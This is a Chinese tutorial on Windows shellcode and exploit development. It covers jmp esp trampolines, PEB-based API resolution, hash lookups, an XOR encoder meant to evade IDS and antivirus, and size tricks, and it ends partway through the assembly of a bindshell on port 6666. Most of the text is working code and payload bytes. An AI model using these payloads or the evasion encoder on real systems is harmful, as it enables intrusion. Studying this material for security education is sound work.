概述
shellcode和exploit
1、shellcode 这个专用术语来通称缓冲区溢出攻击中植入进程的代码。
2、代码植入的过程就是漏洞利用,也就是 exploit 。
二者关系如下:

功能模块划分
shellcode需要解决的问题
1、定位 shellcode 起始地址:在实际情况中,有缺陷的函数位于某个动态链接库中,且在程序运行过程中被 动态装载 。这时的栈中情况将会是动态变化着的,也就是说,这次从调试器中直接抄出来的 shellcode 起始地址下次就变了。
2、组织缓冲区内容:缓冲区中包括 shellcode、函数返回地址,还有一些用于填充的数据。
3、shellcode 在运行时动态获得当前系统的 API 地址:手工查出的 API地址的 shellcode 很可能在调试通过后换一台计算机就会因为函数地址不同而出错。
4、shellcode 编码解码方法:绕过软件对缓冲区的限制及 IDS 等的检查。
5、缩短 shellcode 的尺寸:在整个缓冲区空间有限的情况下,使代码更加精简干练。
定位shellcode
栈帧移位与jmp esp
在实际的漏洞利用过程中,由于动态链接库的装入和卸载等原因, Windows 进程的函数栈帧很有可能会产生 “移位” ,即 shellcode 在内存中的地址是会动态变化的。直接写入地址的方式一般不能奏效。

栈帧移位
通过观察返回时寄存器值可以发现,执行ret指令后,esp刚好指向返回地址的下一个地址。可以将返回地址覆盖为内存中的任一 jmp esp 指令地址,然后返回地址后的空间覆盖为恶意代码实现目的。原理图如下:

jmp esp原理图
获取 “跳板” 的地址
想要利用,首先获得进程空间内一条 jmp esp 指令的地址作为“跳板”。 PE 文件的代码被读
入内存空间,一些经常被用到的动态链接库也将会一同被映射到内存。其中,诸如 kernel.32.dll、
user32.dll 之类的动态链接库会被几乎所有的进程加载,且加载基址始终相同。以下代码获取跳板地址:
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
return 0;
}
结果如下:

获取跳板结果
jmp esp 对应的机器码是 0xFFE4,上述程序的作用就是从 user32.dll 在内存中的基地址开
始向后搜索 0xFFE4,如果找到就返回其内存地址(指针值)。
使用 “跳板” 定位的 exploit
前面运行 shellcode 后,程序无法正常退出。现在获取ExitProcess地址,在执行完代码后退出。

ExitProcess ImageBase

ExitProcess RVA

ExitProcess 内存中 RVA
和前面同理,获取 ImageBase 后,获取函数 RVA ,相加得到内存中 RVA。现在已经得到了地址,需要获取指令的十六进制码。首先通过C语言编写指令,然后编译链接放到调试器中,获取其十六进制码。 shellcode 如下:
#include <windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166//push failwest
mov eax,esp //加载 failwest 地址
push ebx
push eax
push eax
push ebx
mov eax, 0x766D1650//(MessageboxA地址) 每个操作系统不一样
call eax //call MessageboxA
push ebx
mov eax,0x76675980 //(ExitProcess地址) 每个操作系统不一样
call eax //call exit(0)
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
}
然后根据前面的原理,将参数authenticated,buffer[44] 覆盖为任意数值,前栈帧 EBP 覆盖为任意值。返回地址覆盖为 jmp esp 的地址,然后 shellcode 覆盖到栈帧用于存储返回地址的后面。结果如下:

password.txt
这里在运行时发现,shellcode 中的 MessageBox 和 ExitProcess 没有按照预期调用,研究了下内存发现,是因为 user32.dll 没有按照 ImageBase 加载,用加载到内存的地址 0x76650000 作为基地址重新计算即可。结果如下:

结果
缓冲区的组织
缓冲区的组成
送入缓冲区的数据如下:
填充物:可以是任意值,一般是 NOP(0x90)。
淹没返回地址的数据:可以是跳转指令 (jmp esp) 的地址,shellcode 的其实地址,甚至是近似地址。
shellcode:待执行的代码。
布置缓冲区的时候,我们要注意以下:
远程网络攻击的时候,数据包含在一个数据包内,否则分段解析可能导致代码执行失败。
尽量不去破坏前栈帧。
抬高栈顶保护 shellcode
使用 jmp esp 的时候,我们再次跳转到 shellcode 执行位置,这个时候我们如果调用 push 指令,esp 寄存器可能会向上覆盖到 shellcode。此时需要在 shellcode 一开始就大范围抬高栈顶,把 shellcode “藏”在栈内,从而达到保护自身安全的目的。

抬高栈顶
使用其他跳转指令
除了 esp,使用eax、ebx、esi 等寄存器也会指向栈顶附近。查找 mov eax,esp 和 jmp eax 等指令序列也可以完成进入栈区。

跳转指令及其机器码
不使用跳转指令
如果能够淹没大片的内存区域,可以将 shellcode 布置在一大段 nop 之后。这时定位 shellcode 时,只要能跳进这一大片 nop 中, shellcode 就可以最终得到执行。
函数返回地址移位
一些情况下,返回地址和缓冲区偏移量不确定。如 strcat 产生的漏洞。
strcat("程序安装目录",输入字符串);
不同主机可能有不同安装目录,如下:
C:\test\
C:\test\test1
C:\test\test1\test2
这样偏移量可能会不同。甚至会导致我们在淹没返回地址的时候无法判断前面的长度,可能导致 按字节错位 。如下假设需要跳转的地址为 0x7C81CDDA。按字节错位会导致执行成功率只有 四分之一 。

按字节错位
解决办法是使用 按字节相同的双字跳转地址 ,甚至可以使用堆中的地址,如 0x0c0c0c0c,然后想办法将 shellcode 按照堆扩展的办法放到相应区域。这种 heap spray 方法在浏览器漏洞中常用。
开发通用的 shellcode
定位 API 的原理
API 偏移受操作系统版本和补丁版本影响。在实际中需要动态定位 API 位置。所有 Win32 程序都会加载 ntdll.dll 和 kernel32.dll 库。定位方法如下: (64 位环境下会有所区别!)
1、通过段选择字 FS 在内存中找到当前的线程环境块 TEB。
2、线程环境块偏移位置为 0x30 的地方存放着指向进程环境块 PEB 的指针。
3、进程环境块中偏移位置为 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
4、 PEB_LDR_DATA 结构体偏移位置为 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
5、模块初始化链表 InInitializationOrderModuleList 中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。
6、找到属于 kernel32.dll 的结点后,在其基础上再偏移 0x08 就是 kernel32.dll 在内存中的加载基地址。
7、从 kernel32.dll 的加载基址算起,偏移 0x3C 的地方就是其 PE 头。
8、PE 头偏移 0x78 的地方存放着指向函数导出表的指针。
9、至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址。
(1)导出表偏移 0x1C 处的指针指向存储导出函数偏移地址( RVA)的列表。
(2)导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
(3)函数的 RVA 地址和名字按照顺序存放在上述两个列表中,我们可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的 RVA。
(4)获得 RVA 后,再加上前边已经得到的动态链接库的加载基址,就获得了所需 API 此刻在内存中的虚拟地址,这个地址就是我们最终在 shellcode 中调用时需要的地址。
有关 PEB 的内容请参考:PEB 结构
原理如下:

动态定位 API
shellcode 的加载与调试
shellcode 最常见形式就是将机器码保存在一个字符串数组中。如下:
char box_popup[]=
"\x66\x81\xEC\x40\x04" // SUB SP,440
"\x33\xDB" // XOR EBX,EBX
"\x53" // PUSH EBX
"\x68\x77\x65\x73\x74" // PUSH 74736577
"\x68\x66\x61\x69\x6C" // PUSH 6C696166
"\x8B\xC4" // MOV EAX,ESP
"\x53" // PUSH EBX
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\x53" // PUSH EBX
"\xB8\xEA\x04\xD8\x77" // MOV EAX,user32.MessageBoxA
"\xFF\xD0" // CALL EAX
"\x53" // PUSH EBX ;/ExitCode
"\xB8\xDA\xCD\x81\x7C" // MOV EAX,kernel32.ExitProcess
"\xFF\xD0"; // CALL EAX ;\ExitProcess
这种形式不方便调试,下面是一种常见的装载 shellcode 方法:
char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……";//欲调试的十六进制机器码"
void main()
{
__asm
{
lea eax, shellcode
push eax
ret
}
}
ret 指令会将 push 进去的 shellcode 在栈中的起始地址弹给 EIP,让处理器跳转到栈区去执行 shellcode。我们可以用这段装载程序运行搜集到的 shellcode,并调试。
动态定位 API 地址的 shellcode
为了实现弹出消息框功能,需要用到如下 API:
MessageBoxA 位于 user32.dll 中,用于弹出消息框。
ExitProcess 位于 kernel32.dll 中,用于正常退出程序。
LoadLibraryA 位于 kernel32.dll 中。并不是所有的程序都会装载 user32.dll,所以调用 MessageBoxA 之前,应先用 LoadLibrary(“ user32.dll” ) 装载其所属的动态链接库。
通过前面介绍的 win_32 平台下搜索 API 地址的办法,我们可以从 FS 所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的 API 函数是第几个,然后在函数偏移地址( RVA)导出表中找到这个地址。
为了使 shellcode 更加的短,不会直接用 "MessageBox" 这么长的字符串直接比较,而是用 hash 算法对函数名计算后进行判断。hash 算法的 C 语言代码如下:
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7)); //循环右移 7 位
digest+= *fun_name ; //累加
fun_name++;
}
return digest;
}
main()
{
DWORD hash;
hash= GetHash("AddAtomA");
printf("result of hash is %.8x\n",hash);
}
把字符串中的字符逐一取出,把 ASCII 码从单字节转换成四字节的双字( DWORD),循环右移 7 位之后再进行累积。不论 API 函数名多么长,只需要存一个双字就行。
在将 hash 压入栈中之前, 注意先将增量标志 DF 清零。 因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 中的字串处理方向发生变化而产生错误(如指令 LODSD)。如果在堆溢出利用中发现原本身经百战的 shellcode 在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加 shellcode 的通用性。
下面是定位 API 流程图和实现代码:

// 看不懂翻文章前面的 “动态定位 API” 图。
int main()
{
_asm{
CLD ; DF 清零
; 压入 hash
push 0x1e380a6a ; MessageBoxA 的 hash
push 0x4fd18963 ; ExitProcess 的 hash
push 0x0c917432 ; LoadLibraryA 的 hash
mov esi,esp ; esi = 第一个函数哈希值的地址,这里不是取值,esp 是一个地址。
lea edi,[esi-0xc] ; edi = 函数启动地址
; 需要抬高栈顶,保护 shellcode 不被入栈数据破坏
xor ebx,ebx
mov bh, 0x04
sub esp, ebx ; esp = esp - 0x400
; 将 kernel32.dll 字符串地址压入堆栈
mov bx, 0x3233 ; ebx 的其余部分为空
push ebx
push 0x72657375 ; 在内存中是 0x7573 6572 3332 0000,就是 user32 的 ASCII
push esp
xor edx,edx
; 定位 kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = PEB 的地址
mov ecx, [ebx + 0x0c] ; ecx = PEB_LDR_DATA 的地址
mov ecx, [ecx + 0x1c] ; ecx = 指向模块初始化链表的头指针
; InInitializationOrderModuleList
mov ecx, [ecx] ; ecx = list 的第二个节点
; (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = kernel32.dll 的基地址
find_lib_functions:
lodsd ; 取得是双字节,即 mov eax,[esi],esi=esi+4
; 获取 MessageBoxA 的 hash
cmp eax, 0x1e380a6a ; 判断是否为 MessageBoxA 的 hash
; 因为这个函数在 user 中,需要LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; 交换寄存器值,保存当前 hash
call [edi - 0x8] ; LoadLibraryA,执行到这里的时候,已经加载了前两个函数,
; edi 指向的是现在正在找的函数地址,edi-0x8 指向的是第一个找到的函数
xchg eax, ebp ; 恢复当前 hash,并更新 ebp 为 user32.dll 基地址
find_functions:
pushad ; 保存所有寄存器
mov eax, [ebp + 0x3c] ; eax = PE 头地址
mov ecx, [ebp + eax + 0x78] ; ecx = 导出表相对偏移
add ecx, ebp ; ecx = 导出表的绝对地址
mov ebx, [ecx + 0x20] ; ebx = 名称表的相对偏移量
add ebx, ebp ; ebx = 名称表的绝对地址
xor edi, edi ; edi 将用于函数计数
next_function_loop:
inc edi ; 函数在 dll 的序数加一
mov esi, [ebx + edi * 4] ; esi = 当前函数名称的相对偏移量
add esi, ebp ; esi = 当前函数名称的绝对地址
cdq ; dl 将保存 hash (eax 太小了)
hash_loop:
movsx eax, byte ptr[esi] ; 循环计算 hash,知道碰到 00 字符串结束符
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ; 与请求的 hash 比较 (来自 pushad 保存在堆栈上的)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = 序数表的相对偏移量
add ebx, ebp ; ebx = 序数表的绝对地址
mov di, [ebx + 2 * edi] ; di = 匹配函数的序数
mov ebx, [ecx + 0x1c] ; ebx = 地址表的相对偏移量
add ebx, ebp ; ebx = 地址表的绝对地址
add ebp, [ebx + 4 * edi] ; 将匹配函数的相对偏移量与 EBP(模块的基本地址)相加
xchg eax, ebp ; 将函数地址给 eax
pop edi ; edi 是最后一个压入栈中的寄存器
stosd ; 将函数地址写入 [EDI] 并递增 EDI
push edi ; 重新入栈,这三条指令只占用了 3 个字节
popad ; 恢复寄存器
; 循环直到找到最后一个 hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx ; 切割字符串
push 0x74736577
push 0x6C696166 ; push failwest
mov eax,esp ; 加载 failwest 地址
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; 调用 MessageboxA
push ebx
call [edi - 0x08] ; 调用 ExitProcess
nop
nop
nop
nop
}
}

运行结果
在 x32dbg 中打开,找到这段汇编代码,框选->右键->【二进制】->【复制】。然后到文本文档粘贴,得到十六进制代码即可在 exploit 程序中使用了。也可以如下用法:
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68"
"\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65"
"\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
"\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33"
"\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B"
"\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F"
"\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B"
"\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90"; // 最好 0x90 结尾,在解码过程用这个作为结束符。
void main()
{
__asm
{
lea eax, popup_general
push eax
ret
}
}
shellcode 编码技术
为什么要对 shellcode 编码
1、 所有的字符串函数都会对 NULL 字节进行限制。 通常需要选择特殊的指令来避免在 shellcode 中直接出现 NULL(0x00) 字节( byte, ASCII 函数)或字( word, Unicode 函数)。
2、 有些函数还会要求 shellcode 必须为可见字符的 ASCII 值或 Unicode 值。 在这种限制较多的情况下,如果仍然通过挑选指令的办法控制 shellcode 的值的话,将会给开发带来很大困难。
3、 过检测 ,如下:

过检测编码
很多病毒也会采取类似加壳的办法来躲避杀毒软件的查杀:首先对自身编码,若直接查看病毒文件的代码节会发现只有几条用于解码的指令,其余都是无效指令;当 PE 装入开始运行时,解码器将真正的代码指令还原出来,并运行之、实施破坏活动;杀毒软件将一种特征记录之后,病毒开发者只需要使用新的编码算法(密钥)重新对 PE 文件编码,即可躲过查杀。然而自古正邪不两立,近年来杀毒软件开始普遍采用 内存杀毒 的办法来增加查杀力度,就是等病毒装载完成并已还原出真面目的时候进行查杀。
会 “变形” 的 shellcode
最简单的编码方式莫过于异或运算了,因为对应的解码方式也同样最简单。注意点如下:
1、用于异或的特定数据相当于加密算法的密钥,在选取时 不可与 shellcode 已有字节相同,否则编码后会产生 NULL 字节。
2、可以选用多个密钥分别对 shellcode 的不同区域进行编码,但会增加解码操作的复杂性。
3、可以对 shellcode 进行很多轮编码运算。
加密函数如下:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68"
"\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65"
"\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38"
"\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
"\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33"
"\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B"
"\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F"
"\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B"
"\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\0x90";
void encoder (char* input, unsigned char key, int display_flag)// bool display_flag
{
int i=0,len=0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output=(unsigned char *)malloc(len+1);
if(!output)
{
printf("memory erro!\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if(!(fp=fopen("encode.txt","w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp,"\"");
for(i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x", output[i]);
if((i+1)%16==0)
{
fprintf(fp,"\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if(display_flag)//print to screen
{
for(i=0;i<len;i++)
{
printf("%0.2x ",output[i]);
if((i+1)%16==0)
{
printf("\n");
}
}
}
free(output);
}
int main()
{
encoder(popup_general,0x44,1);
return 0;
}
key 不能和 shellcode 中的内容相同,display_flag 判断结果是否打印到控制台,结果保存在 encode.txt。

编码结果
简答解密方法:
void main()
{
__asm
{
add eax, 0x14 //越过 decoder,记录 shellcode 的起始地址
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl, 0x44 //这里用 0x44 作为 key,如编码的 key 改变,这里也要相应
//改变
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符
jne decode_loop
}
}
注意事项如下:
解码器不能单独运行,需将其编译,然后用调试器提取出二进制的机器代码,联合经过编码的 shellcode 一起执行。
解码器默认在 shellcode 开始执行时, EAX 已经对准了 shellcode 的起始位置。
解码器将认为 shellcode 的最后一个字节为 0x90,所以在编码前要注意给原始 shellcode 多加一个字节的 0x90 作为结尾,否则会产生错误。
完整代码如下:
char popup_general[]=
"\x83\xC0\x14" // ADD EAX,14H
"\x33\xC9" // XOR ECX,ECX
"\x8A\x1C\x08" // MOV BL,BYTE PTR DS:[EAX+ECX]
"\x80\xF3\x44" // XOR BL,44H
// 注意 \x44 是解密密钥
"\x88\x1C\x08" // MOV BYTE PTR DS:[EAX+ECX],BL
"\x41" // INC ECX
"\x80\xFB\x90" // CMP BL,90H
"\x75\xF1" // JNZ SHORT decoder.00401034
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc";
void main()
{
__asm
{
lea eax, popup_general
push eax
ret
}
}
编译运行就可以看到结果。
为 shellcode “减肥”
shellcode 瘦身大法
1、选择短指令
指令机器码长短不同,下面列举一些常用单字节指令:
xchg eax,reg 交换 eax 和其他寄存器中的值
lodsd 把 esi 指向的一个 dword 装入 eax,并且增加 esi
lodsb 把 esi 指向的一个 byte 装入 al,并且增加 esi
stosd
stosb
pushad/popad 从栈中存储/恢复所有寄存器的值
cdq 用 edx 把 eax 扩展成四字。这条指令在 eax<0x80000000 时可用作 mov edx,NULL
2、复合指令
有时候可以把两件事情用一条指令完成,例如,用 xchg、 lods 或者 stos。
3、另类的 API 调用方式
有些 API 中许多参数都是 NULL,通常的做法是多次向栈中压入 NULL。换一个思路,把栈中的一大片区域一次性全部置为 NULL,在调用 API 的时候就可以只压入那些非 NULL 的参数,从而节省出许多压栈指令。
遇到 API 中需要一个很大的结构体做参数的情况。通过实验可以发现,大多数情况下,健壮的 API 都可以允许两个结构体相互重叠,尤其是当一个参数是输入结构体 [in],另一个用作接收的结构体 [out] 时,如果让参数指向同一个 [in] 结构体,函数往往也能正确执行。这种情况下,仅仅用一个字节的短指令 “push esp” 就可以代替一大段初始化 [out] 结构体的代码。
4、代码也可以当数据
很多 Windows 的 API 都会要求输入参数是一种特定的数据类型,或者要求特定的取值区间。虽然如此,通过实验我们发现,大多数 API 出于函数健壮性的考虑,在实现时已经对非法参数做出了正确处理。例如,常见到 API 的参数是一个结构体指针和一个指明结构体大小的值,而用于指明结构体大小的参数只要足够大,就不会对函数执行造成任何影响。如果在编写 shellcode 时,发现栈区恰好已经有一个很大的数值,哪怕它是指令码,也可以把它的值当成数据直接使用,从而节省掉一条参数压栈的指令。总之,在开发 shellcode 的时候,代码可以是数据,数据也可以是代码!
5、调整栈顶回收数据
栈顶之上的数据在逻辑上视为废弃数据,但其物理内容往往并未遭到破坏。如果栈顶之上有需要的数据,不妨调整 esp 的值将栈顶抬高,把它们保护起来以便后面使用,这样能节省出很多用作数据初始化的指令。
6、巧用寄存器
按照默认的函数调用约定,在调用 API 时有些寄存器(如 EBP、 ESI、 EDI 等)总是被保存在栈中。 把函数调用信息存在寄存器中而不是存在栈中会给 shellcode 带来很多好处。比如大多数函数的运行过程中都不会使用 EBP 寄存器,故我们可以打破常规,直接使用 EBP 来保存数据,而不是把数据存在栈中。
一些 x86 的寄存器有着自己特殊的用途。有的指令要求只能使用特定的寄存器;有的指令使用特定寄存器时的机器码要比使用其他寄存器短。此外,如果寄存器中含有调用函数时需要的数值,尽管不是立刻要调用这些函数,可能还是要考虑提前把寄存器压入栈内以备后用,以免到时候还得另用指令重新获取。
7、永恒的压缩法宝,hash
实用的 shellcode 通常需要超过 200 甚至 300 字节的机器码,所以对原始的二进制 shellcode 进行编码或压缩是很值得的。上节实验中在搜索 API 函数名时,并没有在 shellcode 中存储原始的函数名,而是使用了函数名的摘要。在需要的 API 比较多的情况下,这样能够节省不少 shellcode 的篇幅。
选择恰当的 hash 算法
想要在 shellcode 中实现的功能如下。
1、绑定一个 shell 到 6666 端口。
2、允许外部的网络连接使用这个 shell。
3、程序能够正常退出。
实现 bindshell 需要的函数包括
kernel32.dll 中的导出函数
LoadLibraryA 用来装载 ws2_32.dll。
CreateProcessA 用来为客户端创建一个 shell 命令窗口。
ExitProcess 用于程序的正常退出。
ws2_32.dll 中的导出函数
WSAStartup 需要初始化 winsock。
WSASocketA 创建套结字。
bind 绑定套结字到本地端口。
listen 监听外部连接。
accept 处理一个外部连接。
选择合适的 hash 算法是查找函数的关键,也是缩短 shellcode 代码的关键。
下面是选择算法考虑的关键因素:
1、所需的每个库文件(dll)内所有导出函数的函数名经过 hash 后的摘要不能有“碰撞”。
2、函数名经过 hash 后得到的摘要应该最短。
3、hash 算法实现所需的代码篇幅最短。
这里需要牢记于心,x86 中实现相似功能的操作码长短往往相差很多,例如:
\xd0\xc1 ;rol cl, 1
\xc0\xc1\x02 ;rol cl, 2
\x66\xc1\xc1\x02 ;rol cx, 2
一个需要完成很多操作的 hash 函数的机器码在经过精心优化选取最恰当的指令后仍可以缩短。
4、经过 hash 后的摘要可等价于指令的机器码,即把数据也当做代码使用。
如果所需函数的函数名后经过 hash 后得到的摘要等价于 nop 指令,即“准 nop 指令”,那么就可以把这些 hash 值放在 shellcode 的开头。这样布置 shellcode 可以省去跳过这段摘要的跳转指令,处理器可以直接把这段 hash 摘要当作指令,顺序执行过去。此时,数据和代码实际上是重叠的。 “准 nop”指令并不仅仅是指 0x90, 而是相对于实际代码的上下文而言的,是指不影响后续代码执行的指令。比如此时 ECX 中的值无关紧要,那么 INC ECX 对于整个 shellcode 来说就相当于 nop 指令。
考虑到会有很多 hash 算法供我们选择,您可以写一段程序来测试这些算法中哪些最符合要求。首先选取一部分 hash 需要的 x86 指令( xor、 add、 rol 等)用来构造 hash 算法,然后把动态链接库中导出函数的函数名一个一个地送进这个 hash 函数,得到对应的 8bit 的摘要,并按照 hash 碰撞、摘要最短、算法精炼这三条标准对算法进行筛选。
在可被两条双字节指令实现的 hash 算法中,可以找到 6 种符合基本条件。经过书本作者核查,发现其中一种 hash 算法恰能够满足代码和数据重叠的要求。(不过只是在 Windows NT 中,现在的 Windows 不一定能用。)算法如下:
hash_loop:
lodsb ; 把函数名中的一个字符装入 al,并且 esi+1,指向函数名中下一个字符
xor al, 0x71 ; 用 0x71 异或当前的字符
sub dl, al ; 更新 dl 中的 hash 值
cmp al, 0x71 ; 继续循环,直到遇到字符串的结尾 null
jne hash_loop
函数和对应的摘要如下:
函 数 名 | hash 后得到的摘要 | 摘要对应的等价于 nop 的指令 |
---|---|---|
LoadLibraryA | 0x59 | pop ecx |
CreateProcessA | 0x81 | or ecx, 0x203062d3 |
ExitProcess | 0xc9 | or ecx, 0x203062d3 |
WSAStartup | 0xd3 | or ecx, 0x203062d3 |
WSASocketA | 0x62 | or ecx, 0x203062d3 |
bind | 0x30 | or ecx, 0x203062d3 |
listen | 0x20 | or ecx, 0x203062d3 (这么多行一起组合成这个指令) |
accept | 0x41 | inc ecx |
在调用 CreateProcessA 的时候,我们需要这个字符串作参数来得到一个命令行的 shell。已知这个调用不需要后缀“ .exe”,并且对字符串的要求是大小写无关的,也就是说, “ cMd”与“ cmD”是等价的。如下:
ASCII 字符 | ASCII 值(机器码) | 机器码对应的指令 |
---|---|---|
C (大写) | 0x43 | inc ebx |
M (大写) | 0x4d | dec ebp |
d (小写) | 0x64 | FS: |
0x64 对应的是取指前缀,就是告诉处理器取指令的时候去 FS 段中的地址里取。由于大多数情况只是要执行下一条指令,所以前缀是多余的,并且会被处理器忽略。因此,字符串 “CMd” 也将被处理器当做指令“不疼不痒”地执行过去。
191 个字节的 bindshell
将 hash 变成真正的函数地址有两种方案:一是一次解析出所有函数入口地址,保存栈中供使用;二是每次用到这个函数的时候再去解析。这里用第一种方法,内容如下:
void main()
{
__asm
{
// lea eax, popup_general
// push eax
// ret
; start of shellcode
; assume: eax points here
; function hashes (executable as nop-equivalent)
_emit 0x59 ; LoadLibraryA ;pop ecx
_emit 0x81 ; CreateProcessA ;or ecx, 0x203062d3
_emit 0xc9 ; ExitProcess
_emit 0xd3 ; WSAStartup
_emit 0x62 ; WSASocketA
_emit 0x30 ; bind
_emit 0x20 ; listen
_emit 0x41 ; accept ;inc ecx
; "CMd"
_emit 0x43 ; inc ebx
_emit 0x4d ; dec ebp
_emit 0x64 ; FS:
; start of proper code
cdq ; set edx = 0 (eax points to stack so is less than 0x80000000)
xchg eax, esi ; esi = addr of first function hash
lea edi, [esi - 0x18] ; edi = addr to start writing function addresses (last addr will be written just before "cmd")
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
; make some stack space
mov dh, 0x03 ; sizeof(WSADATA) is 0x190
sub esp, edx
; push a pointer to "ws2_32" onto stack
mov dx, 0x3233 ; rest of edx is null
push edx
push 0x5f327377
push esp
find_lib_functions:
lodsb ; load next hash into al and increment esi
